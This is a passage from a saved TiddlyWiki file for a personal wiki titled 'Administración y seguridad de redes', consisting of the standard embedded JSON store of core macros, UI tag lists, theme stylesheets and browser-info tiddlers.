filter=\"[all[shadows+tiddlers]removeprefix<__prefix__>removeprefix<__chunk__>] -[<__prefix__>addsuffix<__chunk__>]\"/>)</span>\n<$reveal type=\"match\" stateTitle=<<reveal-state>> text=\"show\">\n<$macrocall $name=\"tree-node\" prefix={{{ [<__prefix__>addsuffix<__chunk__>] }}} separator=<<__separator__>>/>\n</$reveal>\n</$set>\n</li>\n\\end\n\n\\define tree-node(prefix,separator: \"/\")\n<ol>\n<$list filter=\"[all[shadows+tiddlers]removeprefix<__prefix__>splitbefore<__separator__>sort[]!suffix<__separator__>]\" variable=\"chunk\">\n<$macrocall $name=\"leaf-node\" prefix=<<__prefix__>> chunk=<<chunk>> separator=<<__separator__>>/>\n</$list>\n<$list filter=\"[all[shadows+tiddlers]removeprefix<__prefix__>splitbefore<__separator__>sort[]suffix<__separator__>]\" variable=\"chunk\">\n<$macrocall $name=\"branch-node\" prefix=<<__prefix__>> chunk=<<chunk>> separator=<<__separator__>>/>\n</$list>\n</ol>\n\\end\n\n\\define tree(prefix: \"$:/\",separator: \"/\")\n<div class=\"tc-tree\">\n<span><$text text=<<__prefix__>>/></span>\n<div>\n<$macrocall $name=\"tree-node\" prefix=<<__prefix__>> separator=<<__separator__>>/>\n</div>\n</div>\n\\end\n"
},
"$:/core/macros/utils": {
"title": "$:/core/macros/utils",
"text": "\\define colour(colour)\n$colour$\n\\end\n"
},
"$:/snippets/minifocusswitcher": {
"title": "$:/snippets/minifocusswitcher",
"text": "<$select tiddler=\"$:/config/AutoFocus\">\n<$list filter=\"title tags text type fields\">\n<option value=<<currentTiddler>>><<currentTiddler>></option>\n</$list>\n</$select>\n"
},
"$:/snippets/minilanguageswitcher": {
"title": "$:/snippets/minilanguageswitcher",
"text": "<$select tiddler=\"$:/language\">\n<$list filter=\"[[$:/languages/en-GB]] [plugin-type[language]sort[title]]\">\n<option value=<<currentTiddler>>><$view field=\"description\"><$view field=\"name\"><$view field=\"title\"/></$view></$view></option>\n</$list>\n</$select>"
},
"$:/snippets/minithemeswitcher": {
"title": "$:/snippets/minithemeswitcher",
"text": "\\define lingo-base() $:/language/ControlPanel/Theme/\n<<lingo Prompt>> <$select tiddler=\"$:/theme\">\n<$list filter=\"[plugin-type[theme]sort[title]]\">\n<option value=<<currentTiddler>>><$view field=\"name\"><$view field=\"title\"/></$view></option>\n</$list>\n</$select>"
},
"$:/snippets/modules": {
"title": "$:/snippets/modules",
"text": "\\define describeModuleType(type)\n{{$:/language/Docs/ModuleTypes/$type$}}\n\\end\n<$list filter=\"[moduletypes[]]\">\n\n!! <$macrocall $name=\"currentTiddler\" $type=\"text/plain\" $output=\"text/plain\"/>\n\n<$macrocall $name=\"describeModuleType\" type=<<currentTiddler>>/>\n\n<ul><$list filter=\"[all[current]modules[]]\"><li><$link><<currentTiddler>></$link>\n</li>\n</$list>\n</ul>\n</$list>\n"
},
"$:/palette": {
"title": "$:/palette",
"text": "$:/palettes/Vanilla"
},
"$:/snippets/paletteeditor": {
"title": "$:/snippets/paletteeditor",
"text": "<$transclude tiddler=\"$:/PaletteManager\"/>\n"
},
"$:/snippets/palettepreview": {
"title": "$:/snippets/palettepreview",
"text": "<$set name=\"currentTiddler\" value={{$:/palette}}>\n{{||$:/snippets/currpalettepreview}}\n</$set>\n"
},
"$:/snippets/paletteswitcher": {
"title": "$:/snippets/paletteswitcher",
"text": "<$linkcatcher to=\"$:/palette\">\n<div class=\"tc-chooser\"><$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Palette]sort[name]]\"><$set name=\"cls\" filter=\"[all[current]prefix{$:/palette}]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>><$link to={{!!title}}>''<$view field=\"name\" format=\"text\"/>'' - <$view field=\"description\" format=\"text\"/>{{||$:/snippets/currpalettepreview}}</$link>\n</div></$set>\n</$list>\n</div>\n</$linkcatcher>\n"
},
"$:/snippets/peek-stylesheets": {
"title": "$:/snippets/peek-stylesheets",
"text": "\\define expandable-stylesheets-list()\n<ol>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Stylesheet]!has[draft.of]]\">\n<$vars state=<<qualify \"$:/state/peek-stylesheets/open/\">>>\n<$set name=\"state\" value={{{ [<state>addsuffix<currentTiddler>] }}}>\n<li>\n<$reveal type=\"match\" state=<<state>> text=\"yes\" tag=\"span\">\n<$button set=<<state>> setTo=\"no\" class=\"tc-btn-invisible\">\n{{$:/core/images/down-arrow}}\n</$button>\n</$reveal>\n<$reveal type=\"nomatch\" state=<<state>> text=\"yes\" tag=\"span\">\n<$button set=<<state>> setTo=\"yes\" class=\"tc-btn-invisible\">\n{{$:/core/images/right-arrow}}\n</$button>\n</$reveal>\n<$link>\n<$view field=\"title\"/>\n</$link>\n<$reveal type=\"match\" state=<<state>> text=\"yes\" tag=\"div\">\n<$set name=\"source\" tiddler=<<currentTiddler>>>\n<$wikify name=\"styles\" text=<<source>>>\n<pre>\n<code>\n<$text text=<<styles>>/>\n</code>\n</pre>\n</$wikify>\n</$set>\n</$reveal>\n</li>\n</$set>\n</$vars>\n</$list>\n</ol>\n\\end\n\n\\define stylesheets-list()\n<ol>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Stylesheet]!has[draft.of]]\">\n<li>\n<$link>\n<$view field=\"title\"/>\n</$link>\n<$set name=\"source\" tiddler=<<currentTiddler>>>\n<$wikify name=\"styles\" text=<<source>>>\n<pre>\n<code>\n<$text text=<<styles>>/>\n</code>\n</pre>\n</$wikify>\n</$set>\n</li>\n</$list>\n</ol>\n\\end\n\n<$vars modeState=<<qualify \"$:/state/peek-stylesheets/mode/\">>>\n\n<$reveal type=\"nomatch\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<$button set=<<modeState>> setTo=\"expanded\" class=\"tc-btn-invisible\">{{$:/core/images/chevron-right}} {{$:/language/ControlPanel/Stylesheets/Expand/Caption}}</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<$button set=<<modeState>> setTo=\"restored\" class=\"tc-btn-invisible\">{{$:/core/images/chevron-down}} {{$:/language/ControlPanel/Stylesheets/Restore/Caption}}</$button>\n</$reveal>\n\n<$reveal type=\"nomatch\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<<expandable-stylesheets-list>>\n</$reveal>\n<$reveal type=\"match\" state=<<modeState>> text=\"expanded\" tag=\"div\">\n<<stylesheets-list>>\n</$reveal>\n\n</$vars>\n"
},
"$:/temp/search": {
"title": "$:/temp/search",
"text": ""
},
"$:/tags/AdvancedSearch": {
"title": "$:/tags/AdvancedSearch",
"list": "[[$:/core/ui/AdvancedSearch/Standard]] [[$:/core/ui/AdvancedSearch/System]] [[$:/core/ui/AdvancedSearch/Shadows]] [[$:/core/ui/AdvancedSearch/Filter]]"
},
"$:/tags/AdvancedSearch/FilterButton": {
"title": "$:/tags/AdvancedSearch/FilterButton",
"list": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/dropdown $:/core/ui/AdvancedSearch/Filter/FilterButtons/clear $:/core/ui/AdvancedSearch/Filter/FilterButtons/export $:/core/ui/AdvancedSearch/Filter/FilterButtons/delete"
},
"$:/tags/ControlPanel": {
"title": "$:/tags/ControlPanel",
"list": "$:/core/ui/ControlPanel/Info $:/core/ui/ControlPanel/Appearance $:/core/ui/ControlPanel/Settings $:/core/ui/ControlPanel/Saving $:/core/ui/ControlPanel/Plugins $:/core/ui/ControlPanel/Tools $:/core/ui/ControlPanel/Internals"
},
"$:/tags/ControlPanel/Info": {
"title": "$:/tags/ControlPanel/Info",
"list": "$:/core/ui/ControlPanel/Basics $:/core/ui/ControlPanel/Advanced"
},
"$:/tags/ControlPanel/Plugins": {
"title": "$:/tags/ControlPanel/Plugins",
"list": "[[$:/core/ui/ControlPanel/Plugins/Installed]] [[$:/core/ui/ControlPanel/Plugins/Add]]"
},
"$:/tags/EditTemplate": {
"title": "$:/tags/EditTemplate",
"list": "[[$:/core/ui/EditTemplate/controls]] [[$:/core/ui/EditTemplate/title]] [[$:/core/ui/EditTemplate/tags]] [[$:/core/ui/EditTemplate/shadow]] [[$:/core/ui/ViewTemplate/classic]] [[$:/core/ui/EditTemplate/body]] [[$:/core/ui/EditTemplate/type]] [[$:/core/ui/EditTemplate/fields]]"
},
"$:/tags/EditToolbar": {
"title": "$:/tags/EditToolbar",
"list": "[[$:/core/ui/Buttons/delete]] [[$:/core/ui/Buttons/cancel]] [[$:/core/ui/Buttons/save]]"
},
"$:/tags/EditorToolbar": {
"title": "$:/tags/EditorToolbar",
"list": "$:/core/ui/EditorToolbar/paint $:/core/ui/EditorToolbar/opacity $:/core/ui/EditorToolbar/line-width $:/core/ui/EditorToolbar/rotate-left $:/core/ui/EditorToolbar/clear $:/core/ui/EditorToolbar/bold $:/core/ui/EditorToolbar/italic $:/core/ui/EditorToolbar/strikethrough $:/core/ui/EditorToolbar/underline $:/core/ui/EditorToolbar/superscript $:/core/ui/EditorToolbar/subscript $:/core/ui/EditorToolbar/mono-line $:/core/ui/EditorToolbar/mono-block $:/core/ui/EditorToolbar/quote $:/core/ui/EditorToolbar/list-bullet $:/core/ui/EditorToolbar/list-number $:/core/ui/EditorToolbar/heading-1 $:/core/ui/EditorToolbar/heading-2 $:/core/ui/EditorToolbar/heading-3 $:/core/ui/EditorToolbar/heading-4 $:/core/ui/EditorToolbar/heading-5 $:/core/ui/EditorToolbar/heading-6 $:/core/ui/EditorToolbar/link $:/core/ui/EditorToolbar/excise $:/core/ui/EditorToolbar/picture $:/core/ui/EditorToolbar/stamp $:/core/ui/EditorToolbar/size $:/core/ui/EditorToolbar/editor-height $:/core/ui/EditorToolbar/more $:/core/ui/EditorToolbar/preview $:/core/ui/EditorToolbar/preview-type"
},
"$:/tags/Manager/ItemMain": {
"title": "$:/tags/Manager/ItemMain",
"list": "$:/Manager/ItemMain/WikifiedText $:/Manager/ItemMain/RawText $:/Manager/ItemMain/Fields"
},
"$:/tags/Manager/ItemSidebar": {
"title": "$:/tags/Manager/ItemSidebar",
"list": "$:/Manager/ItemSidebar/Tags $:/Manager/ItemSidebar/Colour $:/Manager/ItemSidebar/Icon $:/Manager/ItemSidebar/Tools"
},
"$:/tags/MoreSideBar": {
"title": "$:/tags/MoreSideBar",
"list": "[[$:/core/ui/MoreSideBar/All]] [[$:/core/ui/MoreSideBar/Recent]] [[$:/core/ui/MoreSideBar/Tags]] [[$:/core/ui/MoreSideBar/Missing]] [[$:/core/ui/MoreSideBar/Drafts]] [[$:/core/ui/MoreSideBar/Orphans]] [[$:/core/ui/MoreSideBar/Types]] [[$:/core/ui/MoreSideBar/System]] [[$:/core/ui/MoreSideBar/Shadows]] [[$:/core/ui/MoreSideBar/Explorer]] [[$:/core/ui/MoreSideBar/Plugins]]",
"text": ""
},
"$:/tags/PageControls": {
"title": "$:/tags/PageControls",
"list": "[[$:/core/ui/Buttons/home]] [[$:/core/ui/Buttons/close-all]] [[$:/core/ui/Buttons/fold-all]] [[$:/core/ui/Buttons/unfold-all]] [[$:/core/ui/Buttons/permaview]] [[$:/core/ui/Buttons/new-tiddler]] [[$:/core/ui/Buttons/new-journal]] [[$:/core/ui/Buttons/new-image]] [[$:/core/ui/Buttons/import]] [[$:/core/ui/Buttons/export-page]] [[$:/core/ui/Buttons/control-panel]] [[$:/core/ui/Buttons/advanced-search]] [[$:/core/ui/Buttons/manager]] [[$:/core/ui/Buttons/tag-manager]] [[$:/core/ui/Buttons/language]] [[$:/core/ui/Buttons/palette]] [[$:/core/ui/Buttons/theme]] [[$:/core/ui/Buttons/storyview]] [[$:/core/ui/Buttons/encryption]] [[$:/core/ui/Buttons/timestamp]] [[$:/core/ui/Buttons/full-screen]] [[$:/core/ui/Buttons/print]] [[$:/core/ui/Buttons/save-wiki]] [[$:/core/ui/Buttons/refresh]] [[$:/core/ui/Buttons/more-page-actions]]"
},
"$:/tags/PageTemplate": {
"title": "$:/tags/PageTemplate",
"list": "[[$:/core/ui/PageTemplate/topleftbar]] [[$:/core/ui/PageTemplate/toprightbar]] [[$:/core/ui/PageTemplate/sidebar]] [[$:/core/ui/PageTemplate/story]] [[$:/core/ui/PageTemplate/alerts]]",
"text": ""
},
"$:/tags/PluginLibrary": {
"title": "$:/tags/PluginLibrary",
"list": "$:/config/OfficialPluginLibrary"
},
"$:/tags/SideBar": {
"title": "$:/tags/SideBar",
"list": "[[$:/core/ui/SideBar/Open]] [[$:/core/ui/SideBar/Recent]] [[$:/core/ui/SideBar/Tools]] [[$:/core/ui/SideBar/More]]",
"text": ""
},
"$:/tags/SideBarSegment": {
"title": "$:/tags/SideBarSegment",
"list": "[[$:/core/ui/SideBarSegments/site-title]] [[$:/core/ui/SideBarSegments/site-subtitle]] [[$:/core/ui/SideBarSegments/page-controls]] [[$:/core/ui/SideBarSegments/search]] [[$:/core/ui/SideBarSegments/tabs]]"
},
"$:/tags/TiddlerInfo": {
"title": "$:/tags/TiddlerInfo",
"list": "[[$:/core/ui/TiddlerInfo/Tools]] [[$:/core/ui/TiddlerInfo/References]] [[$:/core/ui/TiddlerInfo/Tagging]] [[$:/core/ui/TiddlerInfo/List]] [[$:/core/ui/TiddlerInfo/Listed]] [[$:/core/ui/TiddlerInfo/Fields]]",
"text": ""
},
"$:/tags/TiddlerInfo/Advanced": {
"title": "$:/tags/TiddlerInfo/Advanced",
"list": "[[$:/core/ui/TiddlerInfo/Advanced/ShadowInfo]] [[$:/core/ui/TiddlerInfo/Advanced/PluginInfo]]"
},
"$:/tags/ViewTemplate": {
"title": "$:/tags/ViewTemplate",
"list": "[[$:/core/ui/ViewTemplate/title]] [[$:/core/ui/ViewTemplate/unfold]] [[$:/core/ui/ViewTemplate/subtitle]] [[$:/core/ui/ViewTemplate/tags]] [[$:/core/ui/ViewTemplate/classic]] [[$:/core/ui/ViewTemplate/body]]"
},
"$:/tags/ViewToolbar": {
"title": "$:/tags/ViewToolbar",
"list": "[[$:/core/ui/Buttons/more-tiddler-actions]] [[$:/core/ui/Buttons/info]] [[$:/core/ui/Buttons/new-here]] [[$:/core/ui/Buttons/new-journal-here]] [[$:/core/ui/Buttons/clone]] [[$:/core/ui/Buttons/export-tiddler]] [[$:/core/ui/Buttons/edit]] [[$:/core/ui/Buttons/delete]] [[$:/core/ui/Buttons/permalink]] [[$:/core/ui/Buttons/permaview]] [[$:/core/ui/Buttons/open-window]] [[$:/core/ui/Buttons/close-others]] [[$:/core/ui/Buttons/close]] [[$:/core/ui/Buttons/fold-others]] [[$:/core/ui/Buttons/fold]]"
},
"$:/snippets/themeswitcher": {
"title": "$:/snippets/themeswitcher",
"text": "<$linkcatcher to=\"$:/theme\">\n<div class=\"tc-chooser\"><$list filter=\"[plugin-type[theme]sort[title]]\"><$set name=\"cls\" filter=\"[all[current]field:title{$:/theme}] [[$:/theme]!has[text]addsuffix[s/tiddlywiki/vanilla]field:title<currentTiddler>] +[limit[1]]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>><$link to={{!!title}}>''<$view field=\"name\" format=\"text\"/>'' <$view field=\"description\" format=\"text\"/></$link></div>\n</$set>\n</$list>\n</div>\n</$linkcatcher>"
},
"$:/core/wiki/title": {
"title": "$:/core/wiki/title",
"text": "{{$:/SiteTitle}} --- {{$:/SiteSubtitle}}"
},
"$:/view": {
"title": "$:/view",
"text": "classic"
},
"$:/snippets/viewswitcher": {
"title": "$:/snippets/viewswitcher",
"text": "\\define icon()\n$:/core/images/storyview-$(storyview)$\n\\end\n<$linkcatcher to=\"$:/view\">\n<div class=\"tc-chooser tc-viewswitcher\">\n<$list filter=\"[storyviews[]]\" variable=\"storyview\">\n<$set name=\"cls\" filter=\"[<storyview>prefix{$:/view}]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>>\n<$link to=<<storyview>>><$transclude tiddler=<<icon>>/><$text text=<<storyview>>/></$link>\n</div>\n</$set>\n</$list>\n</div>\n</$linkcatcher>"
}
}
}
TableOfContents
The following tiddlers were imported: # [[sc4.PNG]]
no
Administración y seguridad de redes
Documentation
$:/core/ui/EditTemplate/body/preview/output
hide
show
hide
$:/core/ui/ImportPreviews/Fields
yes
yes
TableOfContents
open
open
open
open
open
open
open
open
open
open
open
no
{
"tiddlers": {
"$:/info/browser": {
"title": "$:/info/browser",
"text": "yes"
},
"$:/info/node": {
"title": "$:/info/node",
"text": "no"
},
"$:/info/url/full": {
"title": "$:/info/url/full",
"text": "file:///Users/ivanovramirez/Downloads/redesivanov/index.html"
},
"$:/info/url/host": {
"title": "$:/info/url/host",
"text": ""
},
"$:/info/url/hostname": {
"title": "$:/info/url/hostname",
"text": ""
},
"$:/info/url/protocol": {
"title": "$:/info/url/protocol",
"text": "file:"
},
"$:/info/url/port": {
"title": "$:/info/url/port",
"text": ""
},
"$:/info/url/pathname": {
"title": "$:/info/url/pathname",
"text": "/Users/ivanovramirez/Downloads/redesivanov/index.html"
},
"$:/info/url/search": {
"title": "$:/info/url/search",
"text": ""
},
"$:/info/url/origin": {
"title": "$:/info/url/origin",
"text": "file://"
},
"$:/info/browser/screen/width": {
"title": "$:/info/browser/screen/width",
"text": "1440"
},
"$:/info/browser/screen/height": {
"title": "$:/info/browser/screen/height",
"text": "900"
},
"$:/info/browser/language": {
"title": "$:/info/browser/language",
"text": "es-419"
}
}
}
{
"tiddlers": {
"$:/themes/tiddlywiki/snowwhite/base": {
"title": "$:/themes/tiddlywiki/snowwhite/base",
"tags": "[[$:/tags/Stylesheet]]",
"text": "\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline\n\n.tc-sidebar-header {\n\ttext-shadow: 0 1px 0 <<colour sidebar-foreground-shadow>>;\n}\n\n.tc-tiddler-info {\n\t<<box-shadow \"inset 1px 2px 3px rgba(0,0,0,0.1)\">>\n}\n\n@media screen {\n\t.tc-tiddler-frame {\n\t\t<<box-shadow \"1px 1px 5px rgba(0, 0, 0, 0.3)\">>\n\t}\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\t.tc-tiddler-frame {\n\t\t<<box-shadow none>>\n\t}\n}\n\n.tc-page-controls button svg, .tc-tiddler-controls button svg, .tc-topbar button svg {\n\t<<transition \"fill 150ms ease-in-out\">>\n}\n\n.tc-tiddler-controls button.tc-selected,\n.tc-page-controls button.tc-selected {\n\t<<filter \"drop-shadow(0px -1px 2px rgba(0,0,0,0.25))\">>\n}\n\n.tc-tiddler-frame input.tc-edit-texteditor {\n\t<<box-shadow \"inset 0 1px 8px rgba(0, 0, 0, 0.15)\">>\n}\n\n.tc-edit-tags {\n\t<<box-shadow \"inset 0 1px 8px rgba(0, 0, 0, 0.15)\">>\n}\n\n.tc-tiddler-frame .tc-edit-tags input.tc-edit-texteditor {\n\t<<box-shadow \"none\">>\n\tborder: none;\n\toutline: none;\n}\n\ntextarea.tc-edit-texteditor {\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/editorfontfamily}};\n}\n\ncanvas.tc-edit-bitmapeditor {\n\t<<box-shadow \"2px 2px 5px rgba(0, 0, 0, 0.5)\">>\n}\n\n.tc-drop-down {\n\tborder-radius: 4px;\n\t<<box-shadow \"2px 2px 10px rgba(0, 0, 0, 0.5)\">>\n}\n\n.tc-block-dropdown {\n\tborder-radius: 4px;\n\t<<box-shadow \"2px 2px 10px rgba(0, 0, 0, 0.5)\">>\n}\n\n.tc-modal {\n\tborder-radius: 6px;\n\t<<box-shadow \"0 3px 7px rgba(0,0,0,0.3)\">>\n}\n\n.tc-modal-footer {\n\tborder-radius: 0 0 6px 6px;\n\t<<box-shadow \"inset 0 1px 0 #fff\">>;\n}\n\n\n.tc-alert {\n\tborder-radius: 6px;\n\t<<box-shadow \"0 3px 7px rgba(0,0,0,0.6)\">>\n}\n\n.tc-notification {\n\tborder-radius: 6px;\n\t<<box-shadow \"0 3px 7px rgba(0,0,0,0.3)\">>\n\ttext-shadow: 0 1px 0 rgba(255,255,255, 0.8);\n}\n\n.tc-sidebar-lists .tc-tab-set .tc-tab-divider {\n\tborder-top: none;\n\theight: 1px;\n\t<<background-linear-gradient \"left, rgba(0,0,0,0.15) 0%, rgba(0,0,0,0.0) 100%\">>\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button {\n\t<<background-linear-gradient \"left, rgba(0,0,0,0.01) 0%, rgba(0,0,0,0.1) 100%\">>\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button.tc-tab-selected {\n\t<<background-linear-gradient \"left, rgba(0,0,0,0.05) 0%, rgba(255,255,255,0.05) 100%\">>\n}\n\n.tc-message-box img {\n\t<<box-shadow \"1px 1px 3px rgba(0,0,0,0.5)\">>\n}\n\n.tc-plugin-info {\n\t<<box-shadow \"1px 1px 3px rgba(0,0,0,0.5)\">>\n}\n"
}
}
}
{
"tiddlers": {
"$:/themes/tiddlywiki/vanilla/themetweaks": {
"title": "$:/themes/tiddlywiki/vanilla/themetweaks",
"tags": "$:/tags/ControlPanel/Appearance",
"caption": "{{$:/language/ThemeTweaks/ThemeTweaks}}",
"text": "\\define lingo-base() $:/language/ThemeTweaks/\n\n\\define replacement-text()\n[img[$(imageTitle)$]]\n\\end\n\n\\define backgroundimage-dropdown()\n<div class=\"tc-drop-down-wrapper\">\n<$button popup=<<qualify \"$:/state/popup/themetweaks/backgroundimage\">> class=\"tc-btn-invisible tc-btn-dropdown\">{{$:/core/images/down-arrow}}</$button>\n<$reveal state=<<qualify \"$:/state/popup/themetweaks/backgroundimage\">> type=\"popup\" position=\"belowleft\" text=\"\" default=\"\">\n<div class=\"tc-drop-down\">\n<$macrocall $name=\"image-picker\" actions=\"\"\"\n\n<$action-setfield\n\t$tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\"\n\t$value=<<imageTitle>>\n/>\n\n\"\"\"/>\n</div>\n</$reveal>\n</div>\n\\end\n\n\\define backgroundimageattachment-dropdown()\n<$select tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment\" default=\"scroll\">\n<option value=\"scroll\"><<lingo Settings/BackgroundImageAttachment/Scroll>></option>\n<option value=\"fixed\"><<lingo Settings/BackgroundImageAttachment/Fixed>></option>\n</$select>\n\\end\n\n\\define backgroundimagesize-dropdown()\n<$select tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize\" default=\"scroll\">\n<option value=\"auto\"><<lingo Settings/BackgroundImageSize/Auto>></option>\n<option value=\"cover\"><<lingo Settings/BackgroundImageSize/Cover>></option>\n<option value=\"contain\"><<lingo Settings/BackgroundImageSize/Contain>></option>\n</$select>\n\\end\n\n<<lingo ThemeTweaks/Hint>>\n\n! <<lingo Options>>\n\n|<$link to=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\"><<lingo Options/SidebarLayout>></$link> |<$select tiddler=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\"><option value=\"fixed-fluid\"><<lingo Options/SidebarLayout/Fixed-Fluid>></option><option value=\"fluid-fixed\"><<lingo Options/SidebarLayout/Fluid-Fixed>></option></$select> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/options/stickytitles\"><<lingo Options/StickyTitles>></$link><br>//<<lingo Options/StickyTitles/Hint>>// |<$select tiddler=\"$:/themes/tiddlywiki/vanilla/options/stickytitles\"><option value=\"no\">{{$:/language/No}}</option><option value=\"yes\">{{$:/language/Yes}}</option></$select> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/options/codewrapping\"><<lingo Options/CodeWrapping>></$link> |<$select tiddler=\"$:/themes/tiddlywiki/vanilla/options/codewrapping\"><option value=\"pre\">{{$:/language/No}}</option><option value=\"pre-wrap\">{{$:/language/Yes}}</option></$select> |\n\n! <<lingo Settings>>\n\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/fontfamily\"><<lingo Settings/FontFamily>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/fontfamily\" default=\"\" tag=\"input\"/> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/codefontfamily\"><<lingo Settings/CodeFontFamily>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/codefontfamily\" default=\"\" tag=\"input\"/> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/editorfontfamily\"><<lingo Settings/EditorFontFamily>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/editorfontfamily\" default=\"\" tag=\"input\"/> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\"><<lingo Settings/BackgroundImage>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\" default=\"\" tag=\"input\"/> |<<backgroundimage-dropdown>> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment\"><<lingo Settings/BackgroundImageAttachment>></$link> |<<backgroundimageattachment-dropdown>> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize\"><<lingo Settings/BackgroundImageSize>></$link> |<<backgroundimagesize-dropdown>> | |\n\n! <<lingo Metrics>>\n\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/fontsize\"><<lingo Metrics/FontSize>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/fontsize\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/lineheight\"><<lingo Metrics/LineHeight>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/lineheight\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize\"><<lingo Metrics/BodyFontSize>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/bodylineheight\"><<lingo Metrics/BodyLineHeight>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/bodylineheight\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storyleft\"><<lingo Metrics/StoryLeft>></$link><br>//<<lingo Metrics/StoryLeft/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storyleft\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storytop\"><<lingo Metrics/StoryTop>></$link><br>//<<lingo Metrics/StoryTop/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storytop\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storyright\"><<lingo Metrics/StoryRight>></$link><br>//<<lingo Metrics/StoryRight/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storyright\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storywidth\"><<lingo Metrics/StoryWidth>></$link><br>//<<lingo Metrics/StoryWidth/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storywidth\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth\"><<lingo Metrics/TiddlerWidth>></$link><br>//<<lingo Metrics/TiddlerWidth/Hint>>//<br> |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint\"><<lingo Metrics/SidebarBreakpoint>></$link><br>//<<lingo Metrics/SidebarBreakpoint/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth\"><<lingo Metrics/SidebarWidth>></$link><br>//<<lingo Metrics/SidebarWidth/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth\" default=\"\" tag=\"input\"/> |\n"
},
"$:/themes/tiddlywiki/vanilla/base": {
"title": "$:/themes/tiddlywiki/vanilla/base",
"tags": "[[$:/tags/Stylesheet]]",
"text": "\\define custom-background-datauri()\n<$set name=\"background\" value={{$:/themes/tiddlywiki/vanilla/settings/backgroundimage}}>\n<$list filter=\"[<background>is[image]]\">\n`background: url(`\n<$list filter=\"[<background>!has[_canonical_uri]]\">\n`\"`<$macrocall $name=\"datauri\" title={{$:/themes/tiddlywiki/vanilla/settings/backgroundimage}}/>`\"`\n</$list>\n<$list filter=\"[<background>has[_canonical_uri]]\">\n`\"`<$view tiddler={{$:/themes/tiddlywiki/vanilla/settings/backgroundimage}} field=\"_canonical_uri\"/>`\"`\n</$list>\n`) center center;`\n`background-attachment: `{{$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment}}`;\n-webkit-background-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;\n-moz-background-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;\n-o-background-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;\nbackground-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;`\n</$list>\n</$set>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n<$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" 